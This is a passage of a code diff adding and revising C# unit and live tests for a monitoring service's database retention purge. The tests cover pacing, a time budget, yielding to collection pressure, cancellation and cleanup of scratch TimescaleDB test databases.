+        Assert.True(gate.StoppedOnBudget);
+        Assert.Equal(0, gate.TablesNotReached);
+    }
+
+    [Fact]
+    public async Task Drain_ASpentBudgetSkipsThePauseSoThePassEndsAtOnce()
+    {
+        var time = new FakeTime();
+        var gate = GateOn(time, new ScriptedPressure(null), budgetSeconds: 10);
+        var table = new FakeTable(time, rows: 1_000, batchSeconds: 10);
+
+        await Drain(table, PacerCarrying(gate), TestContext.Current.CancellationToken);
+
+        Assert.Equal(new[] { "b" }, time.Events);
+        Assert.Equal(0, gate.TotalPauseSeconds);
+    }
+
+    [Fact]
+    public void SkipTableOnBudget_StartsNothingOnceTheBudgetIsSpent_AndCountsTheTable()
+    {
+        var time = new FakeTime();
+        var gate = GateOn(time, new ScriptedPressure(null), budgetSeconds: 30);
+
+        Assert.False(gate.SkipTableOnBudget("early"));
+        Assert.False(gate.StoppedOnBudget);
+
+        time.Now = 30;
+        Assert.True(gate.SkipTableOnBudget("first-skipped"));
+        Assert.True(gate.SkipTableOnBudget("second-skipped"));
+
+        Assert.True(gate.StoppedOnBudget);
+        Assert.Equal("first-skipped", gate.FirstStoppedTable);
+        Assert.Equal(2, gate.TablesNotReached);
+        Assert.Equal(2, gate.TablesLeft);
+    }
+
+    [Fact]
+    public async Task Describe_AStopAtATablesEntryReadsBefore_NotIn_AndAStopInsideATableReadsIn()
+    {
+        /* #5595 L1: the budget runs out during table A's last batch, A ends normally, and B is the first table the pass
+           never started. The record must not say the pass stopped "in" B. */
+        var time = new FakeTime();
+        var gate = GateOn(time, new ScriptedPressure(null), budgetSeconds: 20);
+        await PurgeLikeTheSweep(gate, new FakeTable(time, rows: 50, batchSeconds: 25), "table_a", TestContext.Current.CancellationToken);
+        await PurgeLikeTheSweep(gate, new FakeTable(time, rows: 50), "table_b", TestContext.Current.CancellationToken);
+        await PurgeLikeTheSweep(gate, new FakeTable(time, rows: 50), "table_c", TestContext.Current.CancellationToken);
+
+        Assert.Equal("before table_b", gate.StoppedPlace);
+        Assert.Equal(2, gate.TablesNotReached);
+        Assert.Equal(2, gate.TablesLeft);
+        Assert.Contains("time budget before table_b, with 2 table(s) not reached", gate.Describe(), StringComparison.Ordinal);
+
+        /* Stopped part-way through a table: "in". */
+        var time2 = new FakeTime();
+        var gate2 = GateOn(time2, new ScriptedPressure(null), budgetSeconds: 20);
+        await PurgeLikeTheSweep(gate2, new FakeTable(time2, rows: 1_000, batchSeconds: 25), "table_x", TestContext.Current.CancellationToken);
+        Assert.Equal("in table_x", gate2.StoppedPlace);
+        Assert.Equal(1, gate2.TablesLeft); /* #5592: stopped part-way still has rows left, though it is not "not reached" */
+        Assert.Equal(0, gate2.TablesNotReached);
+        Assert.Contains("time budget in table_x", gate2.Describe(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task Describe_APassThatOnlyPausedReadsAsBefore_AndAPassThatWaitedSaysSo()
+    {
+        /* #5595 L2: the pause after a batch happens on every paced pass; it is not pressure and does not write the sentence. */
+        var time = new FakeTime();
+        var calm = GateOn(time, new ScriptedPressure(null));
+        await PurgeLikeTheSweep(calm, new FakeTable(time, rows: 250, batchSeconds: 2), "t", TestContext.Current.CancellationToken);
+        Assert.True(calm.TotalPauseSeconds > 0);
+        Assert.Null(calm.Describe());
+        Assert.Equal(0, calm.TablesLeft);
+
+        var time2 = new FakeTime();
+        var pushed = GateOn(time2, new ScriptedPressure(null, "behind", "behind"));
+        await PurgeLikeTheSweep(pushed, new FakeTable(time2, rows: 50), "t", TestContext.Current.CancellationToken);
+        Assert.Contains("yielded to collection: waited 10 s while it was behind, paused 1 s between batches", pushed.Describe(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FinishTable_ATableStoppedAfterDeletingRowsIsNotCountedAsNotReached()
+    {
+        var gate = GateOn(new FakeTime(), new ScriptedPressure(null));
+
+        gate.FinishTable("untouched", 0);
+        Assert.False(gate.StoppedOnBudget);
+
+        gate.NoteBudgetStop();
+        gate.FinishTable("part-way", 5_000);
+
+        Assert.True(gate.StoppedOnBudget);
+        Assert.Equal("part-way", gate.FirstStoppedTable);
+        Assert.Equal(0, gate.TablesNotReached);
+    }
+
+    /* ---- cancellation ---- */
+
+    [Fact]
+    public async Task Drain_CancellationDuringAWaitEndsPromptly()
+    {
+        /* The real delay and clock: the wait is 5 s long, and the cancel must end it well inside that. */
+        var gate = new RetentionCollectionYield(new ScriptedPressure("behind"), TimeSpan.FromMinutes(30));
+        var batches = 0;
+        using var cts = CancellationTokenSource.CreateLinkedTokenSource(TestContext.Current.CancellationToken);
+
+        var drain = DarlingRetention.DrainBatchesAsync(
+            ct => { batches++; return Task.FromResult((0, 100, 0L)); }, PacerCarrying(gate), cts.Token);
+        cts.CancelAfter(TimeSpan.FromMilliseconds(100));
+
+        var finished = await Task.WhenAny(drain, Task.Delay(TimeSpan.FromSeconds(4), TestContext.Current.CancellationToken));
+        Assert.Same(drain, finished);
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => drain);
+        Assert.Equal(0, batches);
+    }
+
+    [Fact]
+    public async Task Drain_CancellationBeforeTheFirstBatchRunsNoBatch()
+    {
+        var time = new FakeTime();
+        var table = new FakeTable(time, rows: 500);
+        using var cts = new CancellationTokenSource();
+        await cts.CancelAsync();
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            () => Drain(table, PacerCarrying(GateOn(time, new ScriptedPressure(null))), cts.Token));
+
+        Assert.Equal(0, table.Batches);
+    }
+
+    /* ---- unpaced callers keep today's behavior ---- */
+
+    [Fact]
+    public async Task Drain_ACallerWithoutAGateRunsBatchesBackToBack()
+    {
+        var time = new FakeTime();
+        var table = new FakeTable(time, rows: 250);
+
+        var withPacerNoGate = await Drain(table, PacerCarrying(null), TestContext.Current.CancellationToken);
+
+        Assert.Equal(250, withPacerNoGate);
+        Assert.Equal(new[] { "b", "b", "b" }, time.Events);
+
+        var unpacedTable = new FakeTable(time, rows: 250);
+        var unpaced = await DarlingRetention.DrainBatchesAsync(
+            async ct => { var (d, c, _) = await unpacedTable.Execute(ct); return (d, c); },
+            TestContext.Current.CancellationToken);
+
+        Assert.Equal(250, unpaced);
+        Assert.DoesNotContain("p", time.Events);
+        Assert.DoesNotContain("w", time.Events);
+    }
+
+    [Fact]
+    public void Describe_IsNullWhenThePassNeitherWaitedNorStopped_AndTheRunRecordTextIsUnchanged()
+    {
+        var gate = GateOn(new FakeTime(), new ScriptedPressure(null));
+        Assert.Null(gate.Describe());
+
+        var plain = DarlingRetention.BuildRunRecordSummary(89, 18_007_201, 0, 0, paced: true, walBytes: 9_230L * 1_048_576, pacedSeconds: 596);
+        var withNoNote = DarlingRetention.BuildRunRecordSummary(
+            89, 18_007_201, 0, 0, paced: true, walBytes: 9_230L * 1_048_576, pacedSeconds: 596, yieldNote: null);
+        Assert.Equal(plain, withNoNote);
+    }
+
+    [Fact]
+    public async Task Describe_AStoppedPassSaysSo_InTheRunRecordWithoutBecomingAWarning()
+    {
+        var time = new FakeTime();
+        var gate = GateOn(time, new ScriptedPressure(null), budgetSeconds: 50);
+        var table = new FakeTable(time, rows: 1_000, batchSeconds: 10);
+        gate.FinishTable("collect.query_store_interval_wide_legacy", await Drain(table, PacerCarrying(gate), TestContext.Current.CancellationToken));
+
+        var note = gate.Describe();
+        Assert.NotNull(note);
+        Assert.Contains("paused 20 s between batches", note, StringComparison.Ordinal);
+        Assert.Contains("stopped at its 1-minute time budget in collect.query_store_interval_wide_legacy", note, StringComparison.Ordinal);
+        Assert.Contains("the next pass continues from the rows left", note, StringComparison.Ordinal);
+
+        var (status, message) = DarlingRetention.BuildRunRecordSummary(12, 300, 0, 0, paced: true, yieldNote: note);
+        Assert.Equal("SUCCESS", status);
+        Assert.EndsWith(note!, message, StringComparison.Ordinal);
+    }
+
+    /* ---- the real signal ---- */
+
+    [Fact]
+    public void Pressure_CollectionIsSettlingForTheFirstTenMinutesAfterCollectionStarts()
+    {
+        double seconds = 100_000;
+        var pressure = new CollectionPressure(stats: null, () => seconds);
+        pressure.MarkCollectionStarted();
+
+        seconds += 5;
+        Assert.Contains("still settling", pressure.BehindReason(), StringComparison.Ordinal);
+
+        seconds = 100_000 + CollectionPressure.SettleWindow.TotalSeconds - 1;
+        Assert.NotNull(pressure.BehindReason());
+
+        seconds = 100_000 + CollectionPressure.SettleWindow.TotalSeconds;
+        Assert.Null(pressure.BehindReason());
+        Assert.Equal(TimeSpan.FromMinutes(10), CollectionPressure.SettleWindow);
+
+        /* The first mark wins: a second call does not restart the window. */
+        pressure.MarkCollectionStarted();
+        Assert.Null(pressure.BehindReason());
+    }
+
+    [Fact]
+    public void Pressure_TheSettleWindowStartsAtTheMark_NotWhenThePressureWasBuilt()
+    {
+        /* #5595 M2: the worker is built, then the store retries and migrations take 25 minutes, then the loop starts
+           collecting. The window runs from the loop's start, not the construction. Until then it reads settling. */
+        double seconds = 0;
+        var pressure = new CollectionPressure(stats: null, () => seconds);
+
+        seconds = 1_500;
+        Assert.Contains("has not started", pressure.BehindReason(), StringComparison.Ordinal);
+
+        pressure.MarkCollectionStarted();
+        seconds = 1_500 + 599;
+        Assert.Contains("still settling", pressure.BehindReason(), StringComparison.Ordinal);
+
+        seconds = 1_500 + 600;
+        Assert.Null(pressure.BehindReason());
+    }
+
+    [Fact]
+    public void Pressure_TheSettleClockIsMonotonic_AndTheWorkerMarksTheStartWhereTheLoopBegins()
+    {
+        /* No wall clock in the pressure read: a backward step of the clock must not hold the drain, so it carries no DateTime. */
+        var pressureSource = ReadSource("RetentionCollectionYield.cs");
+        Assert.DoesNotContain("DateTime", pressureSource, StringComparison.Ordinal);
+
+        var worker = ReadWorkerSource().Replace("\r\n", "\n", StringComparison.Ordinal);
+        Assert.Equal(1, CountOf(worker, "_collectionPressure.MarkCollectionStarted();"));
+        Assert.Equal(1, CountOf(worker, "new CollectionPressure(_fleetGateStats);"));
+        var loopStarted = worker.IndexOf("PerformanceMonitor Darling collection loop started", StringComparison.Ordinal);
+        var mark = worker.IndexOf("_collectionPressure.MarkCollectionStarted();", StringComparison.Ordinal);
+        var loop = worker.IndexOf("while (!stoppingToken.IsCancellationRequested)", mark, StringComparison.Ordinal);
+        Assert.True(loopStarted > 0 && mark > loopStarted && loop > mark, "the mark must sit between the loop's start log and the sweep loop");
+        Assert.DoesNotContain("while (", worker[mark..loop], StringComparison.Ordinal);
+    }
+
+    /// <summary>The start of the fake hour: well past the settle window, on a half-minute so a minute never straddles a read.</summary>
+    private static readonly DateTime HourStart = new(2026, 10, 8, 10, 0, 30, DateTimeKind.Utc);
+
+    /// <summary>A pressure read whose collection started two hours ago, so the settle window is long over.</summary>
+    private static CollectionPressure Settled(FleetGateStats? stats)
+    {
+        var seconds = 0.0;
+        var pressure = new CollectionPressure(stats, () => seconds);
+        pressure.MarkCollectionStarted();
+        seconds = 7_200;
+        return pressure;
+    }
+
+    /// <summary>
+    /// Plays one hour a minute at a time and re-checks the signal once a minute (the drain re-checks every 5 s, so
+    /// this is a coarser read of the same buckets). <paramref name="runPerMinute"/> and <paramref name="skippedPerMinute"/>
+    /// give each minute's slots; returns how many of the 60 re-checks read "behind".
+    /// </summary>
+    private static int PlayHour(Func<int, int> runPerMinute, Func<int, int> skippedPerMinute, out FleetGateSnapshot hour)
+    {
+        var now = HourStart;
+        var stats = new FleetGateStats(() => now);
+        var pressure = Settled(stats);
+        var behind = 0;
+        for (var minute = 0; minute < 60; minute++)
+        {
+            now = HourStart.AddMinutes(minute);
+            var skipped = skippedPerMinute(minute);
+            for (var i = 0; i < runPerMinute(minute); i++)
+            {
+                /* The first slot of the minute carries that minute's skips, as a late run does. */
+                stats.RecordSlot(i == 0 ? skipped : 0);
+            }
+
+            if (pressure.BehindReason() is not null)
+            {
+                behind++;
+            }
+        }
+
+        hour = stats.Snapshot();
+        return behind;
+    }
+
+    [Fact]
+    public void Pressure_ANormalHourWithThreeHangEpisodes_NeverReadsBehind()
+    {
+        /* The field's normal day: about 3 "skipping relaunch" episodes an hour, each stepping over a few slots, about
+           1,250 slots due an hour (21 a minute). One episode alone never reaches the 5-slot minimum, and the hour
+           stays well under the alert's 5%. The old rule (any skipped slot in 5 minutes) read behind for 15 of these 60 re-checks. */
+        var episodes = new Dictionary<int, int> { [8] = 3, [31] = 4, [52] = 3 };
+        var behind = PlayHour(_ => 21, m => episodes.GetValueOrDefault(m), out var hour);
+
+        Assert.Equal(0, behind);
+        Assert.Equal(10, hour.Skipped);
+        Assert.InRange(hour.Due, 1_200, 1_300);
+        Assert.False(new DarlingSelfAlertEvaluator.FleetGateReport(hour.Run, hour.Skipped, 0, TimeSpan.Zero, TimeSpan.Zero, 1, HourStart).IsBehind);
+    }
+
+    [Fact]
+    public void Pressure_ANormalHourWhereTwoEpisodesLandTogether_ReadsBehindOnlyWhileBothAreInTheWindow()
+    {
+        /* Episodes at minutes 5 and 12 (3 slots each) put 6 skipped slots, 2.8% of about 216 due, in one 10-minute
+           window from minute 12 until the first one ages out at minute 15: 3 of 60 re-checks, not a fifth of them. */
+        var episodes = new Dictionary<int, int> { [5] = 3, [12] = 3, [30] = 3, [45] = 3 };
+        var behind = PlayHour(_ => 21, m => episodes.GetValueOrDefault(m), out _);
+
+        Assert.Equal(3, behind);
+    }
+
+    [Fact]
+    public void Pressure_TheIncidentHour_ReadsBehindThroughout()
+    {
+        /* The pre-fix drain hour: 97 of 1,252 due slots skipped (7.7%). 2 skipped a minute for 37 minutes, then 1. */
+        var behind = PlayHour(m => m < 15 ? 20 : 19, m => m < 37 ? 2 : 1, out var hour);
+
+        Assert.Equal(97, hour.Skipped);
+        Assert.Equal(1_252, hour.Due);
+        Assert.True(hour.SkippedPercent > 7.5);
+        Assert.True(new DarlingSelfAlertEvaluator.FleetGateReport(hour.Run, hour.Skipped, 0, TimeSpan.Zero, TimeSpan.Zero, 1, HourStart).IsBehind);
+        /* Behind from the third minute on (the 5-slot minimum is reached after three minutes of skips at 2 a minute). */
+        Assert.True(behind >= 57, $"the incident hour read behind in only {behind} of 60 re-checks");
+    }
+
+    [Theory]
+    [InlineData(195, 5, true)]    /* 5 of 200 = 2.5% exactly: counts */
+    [InlineData(196, 5, false)]   /* 5 of 201 = 2.49%: under the share */
+    [InlineData(194, 6, true)]    /* 6 of 200 = 3% */
+    [InlineData(203, 5, false)]   /* 5 of 208 = 2.4%: at the field's rate the share, not the minimum, decides */
+    [InlineData(202, 6, true)]    /* 6 of 208 = 2.88% */
+    [InlineData(18, 2, false)]    /* 2 of 20 = 10%: a big share of a thin window, but under the 3-slot minimum */
+    [InlineData(17, 3, true)]     /* 3 of 20 = 15%: at the minimum */
+    [InlineData(16, 4, true)]     /* 4 of 20 = 20% */
+    [InlineData(0, 0, false)]     /* nothing due */
+    public void IsBehind_NeedsTheMinimumCountAndTheShare(long run, long skipped, bool expected)
+    {
+        Assert.Equal(expected, CollectionPressure.IsBehind(run, skipped));
+    }
+
+    [Fact]
+    public void Pressure_ASustainedRateJustUnderTheMinimum_NeverHoldsTheDrain_AndStaysUnderTheAlert()
+    {
+        /* A thin fleet (2 slots a minute, 20 in a window) with (minimum - 1) = 2 skipped slots landing in each of the
+           hour's six 10-minute windows: never behind, and the hour's total (12) is under the alert's minimum. One more
+           slot in a window holds the drain. */
+        var justUnder = PlayHour(_ => 2, minute => minute % 10 == 0 ? (int)(CollectionPressure.SkipMinCount - 1) : 0, out var hour);
+        Assert.Equal(0, justUnder);
+        Assert.Equal(6 * (CollectionPressure.SkipMinCount - 1), hour.Skipped);
+        Assert.True(hour.Skipped < DarlingSelfAlertEvaluator.FleetGateBehindMinSkipped);
+
+        var atMinimum = PlayHour(_ => 2, minute => minute % 10 == 0 ? (int)CollectionPressure.SkipMinCount : 0, out _);
+        Assert.True(atMinimum > 0);
+    }
+
+    [Fact]
+    public void Pressure_TheSkippedSlotsAgeOutOfTheWindowAfterTenMinutes()
+    {
+        var now = HourStart;
+        var stats = new FleetGateStats(() => now);
+        var pressure = Settled(stats);
+        for (var i = 0; i < 200; i++)
+        {
+            stats.RecordSlot(0);
+        }
+
+        /* The held-slot path the self-alert also counts (#5479). */
+        stats.RecordSkippedSlots(6);
+        var reason = pressure.BehindReason();
+        Assert.NotNull(reason);
+        Assert.Contains("6 of 206 collector slots were skipped in the last 10 minutes", reason, StringComparison.Ordinal);
+
+        now = now.AddMinutes(9);
+        Assert.NotNull(pressure.BehindReason());
+
+        now = now.AddMinutes(1);
+        Assert.Null(pressure.BehindReason());
+    }
+
+    [Fact]
+    public void Pressure_AWorkerBuiltWithoutStatsReadsNoSkips()
+    {
+        Assert.Null(Settled(stats: null).BehindReason());
+    }
+
+    [Fact]
+    public void Pressure_TheConstantsAreTheDocumentedOnes()
+    {
+        Assert.Equal(10, CollectionPressure.SkipWindowMinutes);
+        Assert.Equal(3, CollectionPressure.SkipMinCount);
+        /* Half the alert's 5%: the drain backs off before the hour reaches the alert. */
+        Assert.Equal(25, CollectionPressure.SkipSharePerMille);
+        Assert.Equal(DarlingSelfAlertEvaluator.FleetGateBehindPercent * 10 / 2, CollectionPressure.SkipSharePerMille);
+        /* #5595 M1: the alert's 60 buckets are six disjoint windows. A drain held just under the minimum lets
+           (minimum - 1) slots skip per window, plus one slot of slop between reads: that hour must stay under the alert's
+           minimum, and the next minimum up must not (so 3 is the largest). */
+        var windowsPerHour = 60 / CollectionPressure.SkipWindowMinutes;
+        Assert.Equal(6, windowsPerHour);
+        Assert.True(
+            (CollectionPressure.SkipMinCount - 1 + 1) * windowsPerHour < DarlingSelfAlertEvaluator.FleetGateBehindMinSkipped,
+            "the worst hour a drain held just under the minimum can sustain must stay under the alert's minimum");
+        Assert.True(
+            (CollectionPressure.SkipMinCount + 1) * windowsPerHour >= DarlingSelfAlertEvaluator.FleetGateBehindMinSkipped,
+            "the minimum is the largest that stays under the alert's");
+        Assert.Equal(0.5, RetentionCollectionYield.WaitBudgetFraction);
+        /* One wait is half the window: a burst can hold the signal for the whole window, but a batch goes every 5 minutes. */
+        Assert.Equal(300, RetentionCollectionYield.MaxWaitSeconds);
+        Assert.Equal(CollectionPressure.SkipWindowMinutes * 60 / 2, RetentionCollectionYield.MaxWaitSeconds);
+    }
+
+    [Fact]
+    public void FleetGateStats_SlotsInLastMinutes_ReadsTheSameBucketsTheSelfAlertReads()
+    {
+        var now = new DateTime(2026, 10, 8, 12, 0, 30, DateTimeKind.Utc);
+        var stats = new FleetGateStats(() => now);
+        stats.RecordSlot(2);
+        now = now.AddMinutes(7);
+        stats.RecordSlot(5);
+        stats.RecordSlot(0);
+
+        Assert.Equal((2L, 5L), stats.SlotsInLastMinutes(5));
+        Assert.Equal((3L, 7L), stats.SlotsInLastMinutes(8));
+        var all = stats.Snapshot();
+        Assert.Equal((all.Run, all.Skipped), stats.SlotsInLastMinutes(FleetGateStats.WindowMinutes));
+        Assert.Equal((all.Run, all.Skipped), stats.SlotsInLastMinutes(10_000));
+        Assert.Equal((0L, 0L), stats.SlotsInLastMinutes(0));
+        Assert.Equal((0L, 0L), stats.SlotsInLastMinutes(-3));
+    }
+
+    [Fact]
+    public void ABudgetStopIsNormalControlFlow_TheWarmUpAfterTheDrainStillRuns()
+    {
+        /* #5585's warm-up runs for the interval tables whose purge deleted rows, and a pass stopped part-way through a
+           table did delete rows. The stop must therefore fall through to the run record and the warm-up: no return
+           and no throw between the budget's log line and the warm-up call. */
+        var source = ReadSource("DarlingRetention.cs").Replace("\r\n", "\n", StringComparison.Ordinal);
+        var stopLog = source.IndexOf("if (yieldGate is { StoppedOnBudget: true })", StringComparison.Ordinal);
+        var warmUp = source.IndexOf("QueryStoreIntervalFloorWarmUp.RunAfterDrainAsync(", StringComparison.Ordinal);
+        Assert.True(stopLog > 0 && warmUp > stopLog, "the budget's log line must come before the warm-up call");
+
+        var between = source[stopLog..warmUp];
+        Assert.DoesNotContain("return ", between, StringComparison.Ordinal);
+        Assert.DoesNotContain("throw ", between, StringComparison.Ordinal);
+        Assert.DoesNotContain("throw;", between, StringComparison.Ordinal);
+        Assert.Contains("LogRetentionRunAsync", between, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Worker_BothPurgeCallersPassTheSignal()
+    {
+        var source = ReadWorkerSource().Replace("\r\n", "\n", StringComparison.Ordinal);
+
+        /* The daily sweep (RunScheduledPurgeAsync) and the on-demand purge_now (RunPurgeNowBackgroundAsync). */
+        Assert.Equal(2, CountOf(source, "collectionPressure: _collectionPressure"));
+        Assert.Contains("paceWal: true,\n            collectionPressure: _collectionPressure", source, StringComparison.Ordinal);
+        Assert.Contains("runLabel: runLabel,\n                collectionPressure: _collectionPressure", source, StringComparison.Ordinal);
+    }
+
+    private static int CountOf(string text, string needle)
+    {
+        var count = 0;
+        for (var at = text.IndexOf(needle, StringComparison.Ordinal); at >= 0; at = text.IndexOf(needle, at + needle.Length, StringComparison.Ordinal))
+        {
+            count++;
+        }
+
+        return count;
+    }
+
+    private static string ReadWorkerSource([System.Runtime.CompilerServices.CallerFilePath] string thisFile = "") =>
+        ReadSource("DarlingWorker.cs", thisFile);
+
+    private static string ReadSource(string fileName, [System.Runtime.CompilerServices.CallerFilePath] string thisFile = "")
+    {
+        var relative = Path.Combine("Darling", "PerformanceMonitor.Darling.Service", fileName);
+        for (var dir = new DirectoryInfo(Path.GetDirectoryName(thisFile)!); dir is not null; dir = dir.Parent)
+        {
+            var candidate = Path.Combine(dir.FullName, relative);
+            if (File.Exists(candidate))
+            {
+                return File.ReadAllText(candidate);
+            }
+        }
+
+        throw new FileNotFoundException($"Could not locate {relative}");
+    }
+}
diff --git a/Darling/Darling.Tests/RetentionHoldAndCadenceRawRedirectLiveTests.cs b/Darling/Darling.Tests/RetentionHoldAndCadenceRawRedirectLiveTests.cs
index e2de7c9e50..e9aee0106e 100644
--- a/Darling/Darling.Tests/RetentionHoldAndCadenceRawRedirectLiveTests.cs
+++ b/Darling/Darling.Tests/RetentionHoldAndCadenceRawRedirectLiveTests.cs
@@ -37,22 +37,37 @@ public sealed class RetentionHoldAndCadenceRawRedirectLiveTests
             "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #4299 redirect pins.");
 
         var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, default);
+        NpgsqlConnection? connection = null;
+        /* A skip (no TimescaleDB) or a failed setup throws before the caller owns the store, so the opener drops it
+           here. Left alone it would survive to the process-exit drain, which the test runner waits only 10 s for. */
+        try
+        {
+            var connectionString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { MaxAutoPrepare = 0 }.ConnectionString;
+            connection = new NpgsqlConnection(connectionString);
+            await connection.OpenAsync();
+            await PgMigrations.MigrateAsync(connection, default);
 
-        var connectionString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { MaxAutoPrepare = 0 }.ConnectionString;
-        var connection = new NpgsqlConnection(connectionString);
-        await connection.OpenAsync();
-        await PgMigrations.MigrateAsync(connection, default);
+            var enabled = await TimescaleSupport.TryEnableAsync(connection, null, default);
+            Assert.SkipWhen(!enabled, "The live #4299 redirect pins need TimescaleDB.");
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, default);
 
-        var enabled = await TimescaleSupport.TryEnableAsync(connection, null, default);
-        Assert.SkipWhen(!enabled, "The live #4299 redirect pins need TimescaleDB.");
-        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, default);
+            await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection) { CommandTimeout = SetupTimeoutSeconds })
+            {
+                await stop.ExecuteNonQueryAsync();
+            }
 
-        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection) { CommandTimeout = SetupTimeoutSeconds })
-        {
-            await stop.ExecuteNonQueryAsync();
+            return (connection, scratch);
         }
+        catch
+        {
+            if (connection is not null)
+            {
+                await connection.DisposeAsync();
+            }
 
-        return (connection, scratch);
+            await scratch.DisposeAsync();
+            throw;
+        }
     }
 
     private static async Task ArmRawJobAsync(NpgsqlConnection connection, string relation)
@@ -100,6 +115,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -134,6 +150,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -180,6 +197,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 }
diff --git a/Darling/Darling.Tests/RetentionReevaluationTests.cs b/Darling/Darling.Tests/RetentionReevaluationTests.cs
index 63411c78f9..11f0e13235 100644
--- a/Darling/Darling.Tests/RetentionReevaluationTests.cs
+++ b/Darling/Darling.Tests/RetentionReevaluationTests.cs
@@ -310,23 +310,26 @@ about this tick. */
         var guardAt = worker.IndexOf("if (StampIsDue(_nextCompressionCheckUtc, CompressionCheckSpan, DateTime.UtcNow))", StringComparison.Ordinal);
         var stampAt = worker.IndexOf("_nextCompressionCheckUtc = TimescaleSupport.NextCompressionCheckUtc(DateTime.UtcNow, s_compressionCheckInterval);", StringComparison.Ordinal);
         Assert.True(guardAt > 0 && stampAt > guardAt, "the tick's guard is the due time, stamped forward inside it");
-        var flagGateAt = worker.IndexOf("if (_timescaleAvailable)", stampAt, StringComparison.Ordinal);
-        var compressionAt = worker.IndexOf("await EvaluateCompressionJobHealthAsync(stoppingToken);", StringComparison.Ordinal);
-        var retentionAt = worker.IndexOf("await ReevaluateRetentionPoliciesAsync(stoppingToken);", StringComparison.Ordinal);
-        /* #3817 is the FOURTH tenant and sits after this pass, so the "next thing" that used to bound the
-           retention call's position is now the convergence call, and the store-metrics block bounds THAT.
-           Both bounds are kept: dropping the outer one would let a later edit hoist the whole gated group out
-           of the tick without this pin noticing. */
-        var convergenceAt = worker.IndexOf("await ConvergeStoreObjectsAsync(stoppingToken);", StringComparison.Ordinal);
+        /* #4970: the tenants run in RunStoreMaintenanceTickAsync, launched from the loop after the stamp.
+           Their order is read inside that method's body, so the flag gate is found from the body's start. */
+        var launchAt = worker.IndexOf("TryStartStoreMaintenanceTick(token => RunStoreMaintenanceTickAsync(token), stoppingToken);", stampAt, StringComparison.Ordinal);
+        Assert.True(launchAt > stampAt, "the loop launches the tick after stamping its due time");
         var nextBlockAt = worker.IndexOf("/* #2068: the store self-metrics sweep.", StringComparison.Ordinal);
-        Assert.True(flagGateAt > stampAt && compressionAt > flagGateAt && retentionAt > compressionAt
-            && convergenceAt > retentionAt && nextBlockAt > convergenceAt,
+        Assert.True(nextBlockAt > launchAt, "the launch stays ahead of the store self-metrics block");
+        var tickBody = MethodBody(worker, "private async Task RunStoreMaintenanceTickAsync(CancellationToken stoppingToken)");
+        Assert.False(string.IsNullOrEmpty(tickBody), "could not locate RunStoreMaintenanceTickAsync");
+        var flagGateAt = tickBody.IndexOf("if (_timescaleAvailable)", StringComparison.Ordinal);
+        var compressionAt = tickBody.IndexOf("await EvaluateCompressionJobHealthAsync(stoppingToken);", StringComparison.Ordinal);
+        var retentionAt = tickBody.IndexOf("await ReevaluateRetentionPoliciesAsync(stoppingToken);", StringComparison.Ordinal);
+        var convergenceAt = tickBody.IndexOf("await ConvergeStoreObjectsAsync(stoppingToken);", StringComparison.Ordinal);
+        Assert.True(flagGateAt >= 0 && compressionAt > flagGateAt && retentionAt > compressionAt
+            && convergenceAt > retentionAt,
             "the retention re-evaluation is awaited after the compression check inside the tick's _timescaleAvailable gate, "
           + "and the store-object convergence after it");
         Assert.Equal(1, CountOf(worker, "await ReevaluateRetentionPoliciesAsync(stoppingToken);"));
         Assert.Equal(1, CountOf(worker, "await ConvergeStoreObjectsAsync(stoppingToken);"));
 
-        var between = worker[compressionAt..retentionAt];
+        var between = tickBody[compressionAt..retentionAt];
         Assert.DoesNotContain("if (", between, StringComparison.Ordinal);
         Assert.DoesNotContain("return", between, StringComparison.Ordinal);
         Assert.DoesNotContain("}", between, StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/RetiredBaselineAggregateTests.cs b/Darling/Darling.Tests/RetiredBaselineAggregateTests.cs
index 5c1adc8557..0834ea0798 100644
--- a/Darling/Darling.Tests/RetiredBaselineAggregateTests.cs
+++ b/Darling/Darling.Tests/RetiredBaselineAggregateTests.cs
@@ -145,7 +145,11 @@ FROM collect.cpu_utilization_stats
 GROUP BY server_id, bucket, collection_time
 WITH NO DATA", ct);
         await ExecuteAsync(connection,
-            "SELECT add_continuous_aggregate_policy('collect.cpu_utilization_baseline', start_offset => INTERVAL '3 days', end_offset => INTERVAL '1 hour', schedule_interval => INTERVAL '1 hour', if_not_exists => true)", ct);
+            /* #5416: initial_start a day out, so TimescaleDB's scheduler never runs this policy's refresh job while
+               the test is alive. A refresh job running at the moment of the sweep's DROP fails it with XX000
+               "tuple concurrently deleted" and left a test connection Closed (one CI flake, reproduced locally).
+               The policy still exists for the cascade assertions. */
+            "SELECT add_continuous_aggregate_policy('collect.cpu_utilization_baseline', start_offset => INTERVAL '3 days', end_offset => INTERVAL '1 hour', schedule_interval => INTERVAL '1 hour', initial_start => now() + INTERVAL '1 day', if_not_exists => true)", ct);
         await ExecuteAsync(connection,
             "SELECT add_retention_policy('collect.cpu_utilization_baseline', drop_after => INTERVAL '35 days', if_not_exists => true)", ct);
         await ExecuteAsync(connection,
@@ -278,7 +282,8 @@ await ExecuteAsync(connection,
